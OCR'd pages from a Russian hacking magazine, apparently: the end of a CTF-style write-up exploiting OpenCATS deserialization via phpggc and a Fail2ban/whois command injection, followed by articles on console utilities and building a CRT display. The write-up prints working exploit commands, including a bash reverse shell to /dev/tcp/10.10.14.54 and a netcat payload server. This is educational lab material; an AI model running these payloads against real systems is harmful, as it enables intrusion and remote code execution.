дан ные в парамет ре . На сер вере
эти дан ные десери али зуют ся с помощью фун кции . В PHP-

модуле guzzlehttp мы можем выз вать метод  из фай ла

, он рас положен по такому пути:

parametersactivity:ActivityDataGrid
unserialize

destruct()
FileCookieJar.php

guzzlehttp/guzzle/src/Cookie/FileCookieJar.php 

В резуль тате будет выз ван метод  и появит ся воз можность записать
про изволь ные фай лы в сис теме. Имя фай ла, куда будут записа ны дан ные,
при нима ет тот же метод .

save()

save()
Для сери али зации дан ных мы будем исполь зовать . Поп робу ем

записать файл  с содер жимым  в дос тупный

для записи каталог  (мы наш ли его на эта пе сбо ра информа ции).

phpggc
test_copy.txt TEST_TEST
/dev/shm

 ./phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/test_copy.txt /tmp/
test.txt 

А теперь отпра вим получен ные дан ные в парамет ре 

.

parametersactivity:
ActivityDataGrid

Стра ница Activities

Зап рос в Burp Proxy

В ито ге в катало ге  появил ся файл , содер жащий
наши дан ные, но в сво ем фор мате. Так же отме чаем, что файл соз дан от име- 
ни поль зовате ля .

/dev/shm test_copy.txt

devel

Со дер жимое катало га /dev/shm

Пря мо получить кон троль от име ни это го поль зовате ля не вый дет, так как у
него нет коман дной обо лоч ки.

Со дер жимое фай ла /etc/passwd

Тог да най дем все фай лы и катало ги текуще го поль зовате ля.

find / -group devel 2>/dev/null 

Фай лы поль зовате ля devel

Боль ше ничего не при думав, я решил перей ти к Fail2ban.

Whois + Fail2ban

Fail2ban — прос той локаль ный сер вис, который отсле жива ет log-фай лы
запущен ных прог рамм и пос ле нес коль ких неудач ных попыток авто риза ции
бло киру ет зап росы с опре делен ного IP-адре са. Спер ва пос мотрим, работа ет
ли Fail2ban и на какую служ бу он реаги рует.

Ста тус сер виса Fail2ban

Файл кон фигура ций Fail2ban

Мы видим, что Fail2ban акти вен для служ бы SSH. Я стал искать, как его мож но
исполь зовать при пен тестах, и нашел , которая может
дать нам уда лен ное выпол нение кода (RCE).

опи сание уяз вимос ти

Суть бага зак люча ется в том, что Fail2ban в слу чае бло киров ки исполь зует
Mailutils, что бы отпра вить сооб щение с информа цией о заб локиро ван ном
адре се, для чего ему нуж но выпол нить коман ду . Если передать пос- 
ледова тель ность , то мож но выпол нить свою коман ду. Таким обра зом, если

у нас получит ся кон тро лиро вать вывод whois, мы можем передать в коман- 
дную обо лоч ку свой реверс-шелл!

whois
~!

Сре ди катало гов, дос тупных для записи поль зовате лю devel, есть 
, куда мож но помес тить файл кон фигура ций . Через

уяз вимость в OpenCATS запишем наш тес товый файл как кон фиг, а потом
для про вер ки выпол ним коман ду whois.

/usr/
local/etc/ whois.conf

 ./phpggc -u --fast-destruct Guzzle/FW1 /usr/local/etc/whois.conf /
tmp/test.txt 

Про вер ка работы whois

Кон фиг был записан и при менен. Но OpenCATS добав ляет свои дан ные,
поэто му whois не может рас парсить адрес. Эту проб лему тоже мож но решить,
исполь зовав регуляр ные выраже ния, а имен но опе рацию OR ( ) и любой

сим вол ( ). При этом поп робу ем зак рыть добав ленные OpenCATS теги JSON.

Таким обра зом, содер жимое нашего фай ла  будет таким:

|
.

test.txt

}]|. [10.10.14.54] 

Сно ва перепи шем кон фиг.

Соз дание кон фигура ции whois

Про вер ка кон фигура ции whois

Те перь при выпол нении коман ды  сер вис обра тит ся к служ бе whois

на наш сер вер (порт 43). Затем мы дол жны отдать ему реверс-шелл с пос- 
ледова тель ностью . Запишем наг рузку в файл и будем выводить в кон соль

при под клю чении к .

whois

~|
netcat

   echo -n '~| bash -c "bash -i >& /dev/tcp/10.10.14.54/4321 0>&1" &' > 
/tmp/shell.txt 
nc  43  -nvlkp -c "cat /tmp/shell.txt"

Все готово к основной экс плу ата ции: при выпол нении коман ды 

получим реверс-шелл, который будет передан Fail2ban и выпол нен в кон соли.
Откро ем лис тенер на пор те 4321 ( ) и поп робу ем выз- 

вать сра баты вание Fail2ban, попытав шись нес коль ко раз авто ризо вать ся
по SSH.

whois

rlwrap nc -lpv 4321

По пыт ки под клю чить ся к SSH

Пос ле сооб щении о сбро се под клю чения получим бэк коннект на свой лис- 
тенер.

Флаг рута

Ма шина зах вачена, и у нас есть флаг рута!

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/ambionics/phpggc
https://github.com/fail2ban/fail2ban/security/advisories/GHSA-m985-3f3v-cwmm
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ЖИЗНЬ И РАБОТУ

Польский Кот
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ТРЮКИ

Не зна ешь, чем занять ся в праз дни ки? Не пых тишь над гряд- 
кой, под ста вив пятую точ ку сол нцу? Не орешь пес ни
в пьяном уга ре? Не беда! Сей час я тебе рас ска жу о замеча- 
тель ных прог рам мках, копание с которы ми тебя обя затель но
раз вле чет. А может быть, что-то из это го потом будет
радовать тебя каж дый день!

Это уже чет вертая статья о кон соль ных ути литах, которые дела ют нашу жизнь
луч ше. В  мы рас смат ривали в основном сетевые ути литы, во 

 — даш борды и про чие укра шатель ства. В  я скон цен три ровал ся
на жиз ни в Windows с WSL.

пер вой вто- 
рой треть ей

Я думал было закан чивать серию, но вы про дол жаете при сылать мне ути литы,
которые счи таете незас лужен но забыты ми на (веб-) стра ницах Хакера.
Поэто му сегод няшняя под борка будет поч ти пол ностью сос тоять из прис- 
ланных читате лями инс тру мен тов, часть из которых я уже взял себе на воору- 
жение. Думаю, и в твой чемодан чик что-то най дет ся. Пош ли смот реть!

ÐÀÁÎÒÀ Ñ ÔÀÉËÀÌÈ

Goful

 — это новень кий двух панель ный фай ловый менед жер, написан ный
на Go. Он под держи вает мно гие полез ные фичи вро де груп пового пере име- 
нова ния с помощью регуля рок и поис ка. Есть встро енный тер минал и мно гие
дру гие полез ности.

Goful

Скрин шот Goful

Уп равля ется он нем ного неп ривыч но, но удоб но: вмес то шот катов
из двух-трех кно пок здесь положе но нажимать все го по одной. Нап ример:

про белом мож но выб рать один или нес коль ко фай лов (как кли ки
с зажатым Ctrl в гра фичес ких сре дах);

•

 переб расыва ет в кор невую дирек торию (нем ного неоче вид но, потому
что слеш тут обратный, а не пря мой, как при нято в ник сах);

• \

 — пос мотреть файл в стра нич ном прос мот рщи ке;• i
 — добавить зак ладку на файл;• b
 — открыть поиск по фай лам (  — поиск в текущей пап ке);• f f /
 — соз дать пап ку;• K
 — перей ти по пути.• d

Са мо собой, это лишь малая часть команд. Пол ный спи сок есть в README
репози тория.

Ус тановить Goful мож но одним из двух спо собов. Пер вый — прос то ска- 
чать и запус тить бинар ный  из репози тория на GitHub. Для вто рого
понадо бит ся уста нов ленный на тво ей машине Go:

ре лиз

go install github.com/anmitsu/goful@latest 

Goful и так выг лядит неп лохо, но мож но его еще и кас томизи ровать: менять
управле ние, цве та, интер пре татор встро енной коман дной стро ки, редак торы
и прос мот рщи ки. Кон фигура цион ного фай ла нет, вмес то это го пред лага ется
пра вить , пос ле чего пере уста новить коман дой .main.go go install

Nnn

Nnn

Nnn — это один из самых минима лис тичных кон соль ных фай ловых менед- 
жеров. Его глав ное пре иму щес тво — прос тота и нет ребова тель ность, хотя
пос леднее в мире домаш них компь юте ров с 32 Гбайт опе ратив ки ста ло неак- 
туаль но.

В Ubuntu ты можешь уста новить nnn пря мо из репози тория:

apt nnn sudo install 

Те перь ког да угод но пиши , и можешь лететь по катало гам с ветер ком!
Встро енную справ ку в любой момент мож но открыть, нажав знак воп роса.

nnn

Ncdu

Ncdu ( ) — это про качан ная вер сия , которая показы вает
занятое мес то в кра сивом псев догра фичес ком интерфей се.

NCurses Disk Usage du

С ncdu ты можешь не толь ко смот реть, сколь ко занима ют фай лы
в каком-то катало ге, но и лег ко переме щать ся меж ду ними, а если решишь
уда лить что-то ненуж ное, то дос таточ но будет нажать кноп ку d. Естес твен но,
по слу чай ному нажатию прог рамма ничего не уда лит — в нее встро ен новей- 
ший телепа тичес кий ана лиза тор, который про верит твои намере ния, зап- 
росив под твержде ние.

Ус танов ка прос та как два руб ля:

apt ncdu sudo install 

При запус ке ncdu прос каниру ет текущую пап ку и выдаст резуль таты. Путь
для ска ниро вания мож но ука зать пер вым аргу мен том:

ncdu / 

Ути лита работа ет с впе чат ляющей ско ростью, чем немало раду ет.

Diffoscope

Ког да обыч ного  мало, может при годить ся . Кро ме тек сто вых

фай лов, эта шту кови на уме ет срав нивать пап ки, архи вы, бинар ники, ISO-
обра зы, PDF-докумен ты и кучу все го еще — под держи вает ся око ло 70 типов
фай лов. Пол ный спи сок дос тупен в выводе .

diff diffoscope

diffoscope -h

Diffoscope срав нива ет бинар ники

Ус танов ка на Debian и Ubuntu дела ется одной коман дой:

apt sudo install diffoscope 

Прав да, при такой уста нов ке на чис тую Ubuntu ска чалось 1124 пакета сум- 
марным объ емом око ло полуто ра гигабайт, потому что в зависи мос тях есть
Python, Java и X-сер вер. Зачем это кон соль ной ути лите — неиз вес тно.

Есть вер сия для Docker:

     :docker run --rm -t -w $(pwd) -v $(pwd) $(pwd):ro registry.salsa.
debian.org/reproducible-builds/diffoscope 

А еще есть вер сия diffoscope для бра узе ра —  (на скрин шоте
имен но она).

try.diffoscope.org

Eget

 — это клас сная ути лита, с помощью которой мож но уста нав ливать софт
из репози тори ев GitHub, где авто ры раз мести ли релизы с бинар никами.
Eget

Ес ли бы eget мож но было уста новить с помощью eget, то дос таточ но
было бы написать

eget zyedidia/eget 

Ес ли же eget у тебя еще нет, при дет ся вос поль зовать ся готовым 
или скрип том-уста нов щиком:

ре лизом

curl https://zyedidia.github.io/eget.sh | sh 
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Wireproxy

Ес ли тебе нуж но исполь зовать Wireguard, но по каким-то при чинам не хочет ся
под нимать пол ноцен ный кли ент, обра ти вни мание на . Он под клю- 
чает ся к пиру по про токо лу Wireguard, но не соз дает новый сетевой
интерфейс, а под нима ет SOCKS5-прок си, который ты можешь ука зывать
в сво их прог раммах.

wireproxy

Ус танов ка сво дит ся к трем строч кам в тер минале:

git clone https://github.com/octeep/wireproxy 
cd wireproxy 
go build ./cmd/wireproxy 

Ес ли же у тебя нет Go — не беда, прос то ска чай соб ранный .ре лиз
За пуск тре бует все го одно го парамет ра:

./wireproxy -c <config file> 

Кон фиг — стан дар тный для Wireguard, но в него нуж но добавить две сек ции
(ком мента рии оста вил для ясности):

# TCPServerTunnel is a tunnel listening on wireguard,
# and it forwards any TCP traffic received to the specified target 
via local network.
# Flow:
# <an app on your wireguard network> --(wireguard)--> 172.16.31.2:
3422 --> localhost:25545
[TCPServerTunnel]

  ListenPort = 3422
  Target = localhost:25545

# SOCKS5 creates a SOCKS5 proxy on your LAN, and all traffic would 
be routed via wireguard.
[Socks5]

  BindAddress = 127.0.0.1:25344

# SOCKS5 authentication parameters, specifying username and password 
enables
# proxy authentication.

  Username = ...
# Avoid using spaces in the password field

  Password = ...

Бо лее под робно про wireproxy читай в  про екта.ре пози тории

Ssh-tools

 — это неболь шой набор ути лит для тех, кто мно го работа ет по SSH.
Самыми полез ными из них кажут ся эти:
Ssh-tools

 — про пин говать SSH-сер вис (не машину, а имен но демон
SSH);

• ssh-ping

 — срав нить фай лы на раз ных машинах;• ssh-diff
 — нем ного информа ции об уда лен ной сис теме;• ssh-facts

 — про пус тить авто риза цию по клю чу и залоги нить- 
ся по паролю (если сер вер поз воля ет);

• ssh-force-password

 — информа ция о клю чах.• ssh-keyinfo

Все ути литы из это го набора пар сят , так что мож но исполь- 

зовать уже нас тро енные име на хос тов отту да.

~/.ssh/config

На бор  в репози тори ях всех популяр ных дис три бути вов — можешь
прос то ста вить пакет .

есть
ssh-tools

Nala

 — это клас сный интерфейс для APT. Уме ет все, что может стан дар тный
, а кро ме это го, под держи вает исто рию и кача ет пакеты парал лель но.

Nala
apt

В штат ных репози тори ях nala пока нет, но мож но под клю чить сто рон ний
и уста новить отту да:

  | echo "deb http://deb.volian.org/volian/ scar main" sudo tee /etc/
apt/sources.list.d/volian-archive-scar-unstable.list 
wget -qO - https://deb.volian.org/volian/scar.key | sudo tee /etc/
apt/trusted.gpg.d/volian-archive-scar-unstable.gpg > /dev/null 

apt nala sudo install 

Пос ле это го дос таточ но вмес то  прос то вызывать  (

, нап ример).

apt nala nala install 
nmap

Iptables-tracer

С помощью iptables-tracer мож но пос мотреть, про ходит ли тра фик через нуж- 
ные нам цепоч ки iptables. Дела ет он это, встав ляя в каж дую цепоч ку спе- 
циаль ные пра вила-мар керы ( ), которые будут сра баты вать при про- 
хож дении пакета через цепоч ку.

-j NFLOG

Выг лядит это так:

 

 

 
14:42:00.284882 raw    PREROUTING   0x00000000 IP 192.0.2.1.36028 > 
203.0.45.41.443: Flags [S], seq 3964691400, win 29200, length 0  
[In:eth0 Out:] 
14:42:00.287255 mangle PREROUTING   0x00008000 IP 192.0.2.1.36028 > 
203.0.45.41.443: Flags [S], seq 3964691400, win 29200, length 0  
[In:eth0 Out:] 
14:42:00.288966 nat    PREROUTING   0x00008000 IP 192.0.2.1.36028 > 
203.0.45.41.443: Flags [S], seq 3964691400, win 29200, length 0  
[In:eth0 Out:] 
14:42:00.290545 mangle FORWARD      0x00008000 IP 192.0.2.1.36028 > 
198.2.100.8.443: Flags [S], seq 3964691400, win 29200, length 0  
[In:eth0 Out:eth1] 
14:42:00.292123 filter FORWARD      0x00008002 IP 192.0.2.1.36028 > 
198.2.100.8.443: Flags [S], seq 3964691400, win 29200, length 0  
[In:eth0 Out:eth1] 
14:42:00.293164 mangle POSTROUTING  0x00008002 IP 192.0.2.1.36028 > 
198.2.100.8.443: Flags [S], seq 3964691400, win 29200, length 0  [In: 
Out:eth1] 
14:42:00.293780 nat    POSTROUTING  0x00008002 IP 192.0.2.1.36028 > 
198.2.100.8.443: Flags [S], seq 3964691400, win 29200, length 0  [In: 
Out:eth1]

$ iptables-tracer -f "-s 192.0.2.1 -p tcp --dport 443" -t 30s

Для уста нов ки нужен Git и Go. Ста вим:

git clone https://github.com/x-way/iptables-tracer 
cd ./iptables-tracer/ 
go build 

За пус каем:

   90s ./iptables-tracer -f "-s 1.3.5.7 -p tcp --dport 22" -t

Па раметр  поз воля ет филь тро вать, какой имен но тра фик нуж но отоб- 

ражать, сог ласно син такси су iptables, а  зада ет вре мя работы, пос ле

которо го трас сиров ка прек ратит ся.

-f
-t

Важ но пом нить, что пос ле оста нов ки трас сиров ки соз данные в iptables
слу жеб ные пра вила не уда ляют ся, так что потом их нуж но уда лить такой
коман дой:

./iptables-tracer -c

INFO

А ты знал, что с Nftables трас сиров ка пра вил дос- 
тупна «из короб ки»? Мы уже писали об этом под- 
робнее в статье «

».
Если мно го работа ешь с фай рво лом — обя затель- 
но озна комь ся!

Nftables. Раз бира ем пре иму- 
щес тва перехо да с iptables на новый фай рвол

Продолжение статьи →

mailto:brutsky@glc.ru
https://xakep.ru/2021/06/08/console-utilities/
https://xakep.ru/2021/09/30/console-utilities-2/
https://xakep.ru/2021/11/15/hacker-tools-windows-linux/
https://github.com/anmitsu/goful
https://github.com/anmitsu/goful/releases/tag/v0.2.1
https://dev.yorhel.nl/ncdu
https://diffoscope.org/
https://try.diffoscope.org/
https://github.com/zyedidia/eget
https://github.com/zyedidia/eget/releases
https://github.com/octeep/wireproxy/
https://github.com/octeep/wireproxy/releases/tag/v1.0.3
https://github.com/octeep/wireproxy
https://github.com/vaporup/ssh-tools
https://repology.org/project/ssh-tools/versions
https://gitlab.com/volian/nala
https://xakep.ru/2020/09/29/nftables-advantages/


МАСТЕРСКАЯ ХАКЕРА
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ЖИЗНЬ И РАБОТУ

ТРЮКИ  НАЧАЛО СТАТЬИ←
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Picocrypt

 — прос тая, но мощ ная тул за для шиф рования фай лов. К сожале нию,
пос тавля ется толь ко с гра фичес ким интерфей сом, но вряд ли это будет боль- 
шой проб лемой.

Picocrypt

Picocrypt уме ет не толь ко шиф ровать, но и генерить надеж ные пароли
и редак тировать метадан ные фай лов. Если хочет ся, мож но эти метадан ные
даже пол ностью уда лить, но идея нап равить потен циаль ных рас сле дова телей
по лож ному сле ду выг лядит более инте рес но.

В README автор рас хва лива ет свое тво рение как чуть ли не луч шее
решение для шиф рования чего угод но: тут у нас и откры тые исходни ки,
и малень кий раз мер, и сов ремен ный алго ритм, и даже защита от пов режде- 
ния дан ных. Пол ную срав нитель ную таб лицу мож но почитать ниже или в
репози тории про екта.

Срав нение ПО для шиф рования фай лов от авто ра Picocrypt

Ус танов ка в Windows сво дит ся к ска чива нию соб ранно го бинар ника со стра- 
ницы релизов, а в Linux ста вит ся через Snap:

snap install picocrypt 

Ес ли Snap нет, сна чала нуж но уста новить его ( ).sudo apt install snapd

Dockeye

Ес ли тебе вдруг пот ребовал ся UI для Docker, поп робуй . Это гра- 
фичес кий кли ент для управле ния Docker, который выг лядит поч ти непохо же
на дру гие подоб ные инс тру мен ты.

dockeye

Де мо из репози тория

Есть сбор ки для Linux и macOS. Ска чать их мож но со .стра ницы релизов

Sysmontask

Ес ли ты сос кучил ся по вин довому дис петче ру задач, то с  ты
будешь в Linux как дома!

sysmontask

Где-то мы это уже видели

Ду маю, о том, что он дела ет, рас ска зывать не име ет смыс ла, так что давай
прос то уста новим и ты сам все про веришь:

sudo add-apt-repository ppa:camel-neeraj/sysmontask 
apt sudo install sysmontask 

// Выполнить только на Ubuntu <=20.04 
pip3  sudo install -U psutil 

Пер вый запуск автор рекомен дует про водить из кон соли коман дой
.sysmontask

Neofetch

Neofetch

Neofetch — это прог рам мка, которая наг лядно и кра сиво выводит ста тис тику
о тво ем компь юте ре. Она покажет исполь зуемый дис три бутив (с боль шим
логоти пом!), вер сию ядра, информа цию об объ еме памяти и про цес соре,
обо лоч ку, окру жение рабоче го сто ла (если оно есть), окон ный менед жер,
активную тему офор мле ния и мно гое дру гое.

Neofetch есть в репози тории Ubuntu:

apt sudo install neofetch 

Ес ли ты тоже поль зуешь ся WSL, можешь пос тавить ана логич ную прог рамму
, которая пос тавля ется в сос таве дис три бути вов, соб ранных

в Microsoft. Ее вывод выг лядит чуть по-дру гому, и работа ет она замет но мед- 
леннее, но не рас ска зать о пре дус танов ленном ана логе я не могу.

wslfetch

Wslfetch

TTYgames

Са мая важ ная часть этой статьи —  кон соль ных игр. Хотя и выг лядит
это в XXI веке как анах ронизм, но почему нет? Воз можно, эти раз вле чения
даже не заметят на работе. Выход этой статьи был отло жен как раз потому,
что я нашел прек расный тет рис (на кар тинке) и не мог отор вать ся.

кол лекция

Petris
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HttpX

 — это мно гоце левой инс тру мент для авто мати зации работы с HTTP.
С его помощью удоб но искать HTTP-сер веры в резуль татах ска ниро вания,
собирать отпе чат ки сер висов и иссле довать под сети при пен тесте.

HttpX

Осо бен но удоб но ком биниро вать httpX с дру гими инс тру мен тами.

 

 

 

 

subfinder -d hackerone.com -silent| httpx -title -tech-detect -status-
code

 
 
 
 
 

__    __  __       _  __
/ /_  / /_/ /_____ | |/ /
/ __ \/ __/ __/ __ \|   /
/ / / / /_/ /_/ /_/ /   |
/_/ /_/\__/\__/ .___/_/|_|
/_/              v1.1.1

projectdiscovery.io 

Use with caution. You are responsible for your actions 
Developers assume no liability and are not responsible for any misuse 
or damage. 
https://mta-sts.managed.hackerone.com [404] [Page not found · GitHub 
Pages] [Varnish,GitHub Pages,Ruby on Rails] 
https://mta-sts.hackerone.com [404] [Page not found · GitHub Pages] 
[Varnish,GitHub Pages,Ruby on Rails] 
https://mta-sts.forwarding.hackerone.com [404] [Page not found · GitHub 
Pages] [GitHub Pages,Ruby on Rails,Varnish] 
https://docs.hackerone.com [200] [HackerOne Platform Documentation] 
[Ruby on Rails,jsDelivr,Gatsby,React,webpack,Varnish,GitHub Pages] 
https://support.hackerone.com [301,302,301,200] [HackerOne] 
[Cloudflare,Ruby on Rails,Ruby] 
https://resources.hackerone.com [301,301,404] [Sorry, no Folders found.]

Ус тановить прог рамму из исходни ков мне не уда лось из-за проб лем с Go,
но  без тру да под тянул , который, конеч но, мож но ска- 

чать и вруч ную.

eget би нар ный релиз

Фла гов у прог раммы очень мно го, но раз бирать ся с ними я тебе пред- 
лагаю самос тоятель но — они узкоспе цифи чес кие, и каж дый из них хорошо
опи сан в справ ке.

Xj

Тем, кто пытал ся работать с HTML из shell-скрип тов, зна кома боль от попыток
пар синга с помощью регуля рок. Для вас сущес тву ет  — ути лита, которая
кон верти рует HTML-стра ницу в JSON для даль нейшей обра бот ки. Обра баты- 
вать JSON из скрип тов очень удоб но с помощью :

xj

jq

wget $ -qO- https://stedolan.github.io/jq/ | xj | jq '..|select(.
title?)[][]'

"jq"

Прек расная вещь для прос тых пар серов, ког да по каким-то при чинам
не хочет ся прог рамми ровать.

Topalias

 генери рует али асы для команд, которы ми ты чаще все го поль зовал- 
ся. Ути лита показы вает ста тис тику, пред лага ет сок ращения и показы вает,
как их зарегис три ровать.

Topalias

На скри не выше вид на оче вид ная проб лема: ути лита понятия не име ет, что
у некото рых пред лага емых ей али асов те же име на, что и у уста нов ленных
в сис теме прог рамм, в том чис ле сис темных. Нап ример, для коман ды 

 пред ложен али ас , пос ле при мене ния которо го ты не смо жешь
копиро вать фай лы.

cd 
pbsbot cp

И еще одна неп рият ность — это битая зависи мость при уста нов ке. Уста- 
нав ливать пред лага ется сле дующим обра зом:

pip3   install -U --user topalias 

Но при попыт ке запус ка ути лита незамед литель но краш нется, руга ясь
на непонят ную ошиб ку и не давая даже пос мотреть справ ку. Починить
это мож но уста нов кой более ста рой вер сии пакета :click

pip3    install -U --user click==7.1.2 

Толь ко пос ле это го все зарабо тает нор маль но.

ÏÐÎ×ÅÅ

Jrnl

Для пос тоян ных оби тате лей тер минала сущес тву ет  — кон соль ная ути лита
для заметок.

jrnl

Ус танов ка дела ется через pipx, и автор ути литы пре дуп режда ет о воз- 
можных проб лемах при неп равиль ной уста нов ке это го пакет ного менед жера.
Я ста вил pipx через APT (хотя автор так делать не рекомен дует) и с проб- 
лемами не стол кнул ся, но имей в виду, что они быва ют.

Пред положим, что «пра виль ный» pipx у тебя уже есть. Тог да уста нов ка
дела ется в одну коман ду:

pipx jrnl install 

Что бы запус тить , либо прос то передай замет ку аргу мен том коман дной

стро ки, либо запус ти  и напеча тай все в самой ути лите — это удоб но,

если текст замет ки длин ный.

jrnl
jrnl

Мож но добав лять к замет кам заголов ки, теги, мет ки вре мени и даже
зашиф ровать свой жур нал.

Файл с замет ками — это прос той текст, поэто му смот реть его мож но
самыми раз ными спо соба ми. В допол нение к ним в прог рамме есть клю чи 

 (покажет толь ко заголов ки) и  (выведет весь файл

жур нала).

--short --export text

Мой малень кий днев ник

Ути лита хоть и выг лядит минима лис тичной, но в реаль нос ти воз можнос тей
немало. Их под робное опи сание ты най дешь на .сай те раз работ чика

Óâåäîìëåíèÿ ñ Android íà Linux

Android2Linux Notications — это спо соб показать уве дом ления из Android
на нас толь ном Linux с помощью .libnotify

И компь ютер, и телефон дол жны находить ся в одной сети, так как меж ду
ними уста нав лива ется пря мое соеди нение при каж дом новом уве дом лении.
Но ник то не зап реща ет соз дать эту связь уда лен но при помощи VPN-тун неля
вро де Wireguard.

Ус танав лива ется сна чала сер вер на компь юте ре, а затем при ложе ние
на телефо не. Сер вер уста нав лива ется сле дующи ми коман дами:

git clone https://github.com/patri9ck/a2ln-server.git 
cd a2ln-server 

make sudo install

Ес ли воз никнут проб лемы, уста нови зависи мос ти через  — спи сок лежит

в .

pip
requirements.txt

Пос ле это го мож но запус тить сер вер коман дой , что бы слу- 
шать на 50505-м пор те. Конеч но, ты можешь его поменять по сво ему
усмотре нию, но пом ни, что пор ты ниже 1024-го тре буют прав root. А еще
не забудь закинуть старт сер вера в авто заг рузку любым удоб ным спо собом,
что бы уве дом ления про дол жили при ходить пос ле перезаг рузки машины, если
ты ее вооб ще перезаг ружа ешь.

a2ln 50505

На телефо не нуж но ска чать из F-Droid  и вбить в него IP
и порт, на котором слу шает сер верная часть. Если ты счас тли вый обла датель
Huawei, Samsung, Xiaomi или дру гого телефо на с дра коно вым энер госбе- 
реже нием, то при дет ся оза ботить ся вне сени ем при ложе ния в белый спи сок,
что бы сис тема его не уби вала. Как это сде лать — читай на 
или в про филь ных вет ках форумов.
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GEEK

Мо нитор с клас сичес ким кинес копом сей час мож но отыс- 
кать раз ве что в музее или на бло шином рын ке, да и там они
попада ются нечас то. Тем инте рес нее пос тро ить такой сво- 
ими руками! В этой статье мы запус тим элек трон но-лучевую
труб ку, пос мотрим на фигуры Лис сажу, выведем текст
и изоб ражение. Будет мно го схе мотех ники и кода.

На вер няка все видели часы на элек трон но-лучевых труб ках или экра нах
осциллог рафов. Пос ле неоно вых часов это, навер ное, сле дующая
по популяр ности лам повая замороч ка. Обыч но, кро ме цифер бла та и нес коль- 
ких цифр, на него ничего не выводят, и это таки не слу чай но! Собс твен но,
о при чинах дан ного явле ния мы и будем даль ше мно го говорить, а так же
обсу дим те осо бен ности тру бок и схе мотех ники, о которых обыч но в интерне- 
те не пишут.

INFO

На зывать ради олам пы труб ками, элек трон ными
труб ками, ваку умны ми труб ками и кла пана ми
без гра мот но. Прос какива ют такие наз вания
обыч но по вине горе-перевод чиков, одна ко в слу- 
чае элек трон но-лучевых тру бок и рен тге нов ских
тру бок наз вание плот но уко рени лось и теперь
общепри нято. Такие дела.

ÝËÅÊÒÐÎÍÍÎ-ËÓ×ÅÂÀß ÒÐÓÁÊÀ

Элек трон но-лучевые труб ки, пожалуй, самые слож ные ради олам пы в пла не
устрой ства и управле ния. Пред назна чены они, как нес ложно догадать ся,
для вывода изоб ражения. Здесь и далее мы будем говорить толь ко
об осциллог рафичес ких труб ках с элек трос татичес кой фокуси ров кой и элек- 
трос татичес ким откло нени ем.

Элек трон но-лучевая труб ка

Как все-таки работа ет такая лам па? Элек тро ны испуска ются катодом, пос ле
чего про ходят через сис тему фокуси ров ки, которая в прос тей шем слу чае
сос тоит из трех элек тро дов, как на рисун ке выше. Пер вый элек трод управля ет
яркостью, вто рой фокуси ров кой, а тре тий, уско ряющий, отве чает за астигма- 
тизм. Пос ле это го пучок про лета ет через две пары откло няющих элек тро дов,
отве чающих за горизон таль ное и вер тикаль ное откло нение.

За тем элек тро ны долета ют до слоя люмино фора и зас тавля ют его све- 
тить ся. Если фокуси ров ка нас тро ена, то на экра не горит точ ка, положе ние
которой опре деля ется нап ряжени ем на откло няющих элек тро дах. Изме няя
это нап ряжение, мы можем выводить изоб ражение. Но это все общие сло ва,
теперь перей дем к кон кре тике, о которой обыч но не пишут, раз ве что
на темати чес ких форумах.

ÂÛÁÎÐ ÒÐÓÁÊÈ

Для экспе римен тов я выб рал труб ку . Мотиви рова ла меня ее низ кая
сто имость (мне этот девайс обо шел ся в 400 руб лей) и ее ком пак тность.

6ЛО1И

6ЛО1И

Од нако уже во вре мя сбор ки и нас трой ки я осоз нал, нас коль ко это пло хой
выбор, ведь имен но из-за исполь зования 6ЛО1И я стол кнул ся с таким
количес твом труд ностей. А дело в том, что у труб ки есть такой показа тель,
как чувс тви тель ность откло няющей сис темы. Изме ряет ся она в мил лимет рах
на вольт, и у 6ЛО1И это зна чение сос тавля ет око ло 0,15 мм/В, для оси X —
чуть мень ше, для оси Y — чуть боль ше. Такая чувс тви тель ность край не низ- 
кая, и для дви жения луча по горизон тали от левого края экра на до пра вого
нуж но поряд ка 250 В, а по вер тикали око ло 200 В. Это доволь но мно го и тре- 
бует от виде оуси лите ля очень хороше го быс тро дей ствия. Собс твен но, если
пос мотреть, что имен но выпус кала про мыш ленность на этих труб ках, то ста- 
новит ся ясно, что это были «показо мет ры» с шириной полосы не более нес- 
коль ких десят ков килогерц, нап ример .ОМШ-3М

Здесь, прав да, мож но нем ного схит рить и понизить анод ное нап ряжение
на труб ке с пас пор тно го 1200 В до, ска жем, 700–1000 В. Яркость при этом
сни зит ся, а чувс тви тель ность откло няющей сис темы замет но воз растет, и в
дан ном слу чае это разум ный ком про мисс. В общем, советую взять труб ку
поп рилич нее — это силь но упростит ковыря ния с виде оуси лите лем. 
Но есть у 6ЛО1И и дос тоинс тва: устрой ство ее нес ложное, поэто му и схе ма
питания у нее прос тая.

ÏÈÒÀÍÈÅ È ÎÁÂßÇÊÀ ÒÐÓÁÊÈ

Пе ред тем как изоб ретать свой велоси пед, неп лохо бы озна комить ся с уже
изоб ретен ными вари анта ми. По уму, конеч но, сто ило бы соб рать для анод-
ного нап ряжения импуль сник со ста били заци ей. Но пос коль ку для накала
нуж но 6,3 В, а в осциллог рафичес ких труб ках боль шая часть высоко го нап- 
ряжения пода ется на катод, то есть потен циал катода око ло –900 В, источник
питания накала дол жен быть надеж но изо лиро ван от мас сы. Про ще все го
про вер нуть этот финт, исполь зуя накаль ную обмотку.

А раз уж нуж на накаль ная обмотка, зна чит, тран сфор матор будет содер- 
жать и анод ную обмотку, поэто му высокое нап ряжение мож но получить умно- 
жите лем. Как говорит ся, 1000 В — это все го лишь три раза по 330 В. Поэто- 
му, вдох новив шись , я раз- 
работал свою схе му, в которой от исходной остался толь ко кон цепт.

про ектом прос того осциллог рафа на 6ЛО1И

WARNING

Раз ность потен циалов меж ду положи тель ным
и отри цатель ным пле чами источни ка питания
пре выша ет 1000 В! Удар таким нап ряжени ем
смер тель но опа сен, а кро ме того, это очень боль- 
но. Поэто му будь край не вни мате лен и осто- 
рожен! А если нет опы та в работе с высоким нап- 
ряжени ем, воз можно, луч ше и не свя зывать ся
с этим бло ком питания. Я пре дуп редил.

Схе ма бло ка питания и обвязки 6ЛО1И

Ос новой бло ка питания слу жит 30-ват тный торо идаль ный тран сфор матор
с дву мя обмотка ми, накаль ной и анод ной. Анод ная обмотка выда ет 235 В,
которые пос тупа ют на вып рямитель и . Вып рямитель при менен
одно полу пери одный, так как он хорошо сочета ется с умно жите лем, а токи
пот ребле ния схе мы око ло 0,5 мА. На выходе вып рямите ля получа ем око ло
+330 В. На выходе умно жите ля име ем, соот ветс твен но, око ло –660 В, что
